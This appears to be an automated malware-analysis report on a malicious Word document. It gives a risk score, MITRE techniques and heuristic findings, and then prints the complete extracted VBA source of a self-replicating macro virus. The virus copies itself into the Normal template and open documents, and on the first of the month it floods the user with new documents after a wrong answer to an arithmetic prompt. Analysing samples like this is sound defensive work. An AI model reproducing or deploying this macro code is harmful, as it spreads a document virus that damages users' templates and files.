MALICIOUS
88
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro attempts to replicate its code into the Normal template and potentially other documents, indicated by the 'VBA macro-virus self-replication' heuristic. This self-replication is a common technique for establishing persistence and spreading malware. The macro also appears to engage the user with a math-based InputBox, which could be a distraction or a method to bypass initial security checks.
Heuristics 3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.DeleteLines 1, .CountOfLines -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3136 bytes |
SHA-256: 4c53205560f236004160ea45c9421705f5612c49ceb5b21dce0f80f4e4106692 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Macro_2:moonlight
Dim nm(4)
Sub Document_Open()
'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 3, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
Count = 0
If Day(Now()) = 1 Then
try:
On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0
While test = -1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(i)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我......"
GoTo out
Else
Count = Count + 1
For j = 1 To 20
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try
End If
Wend
End If
out:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.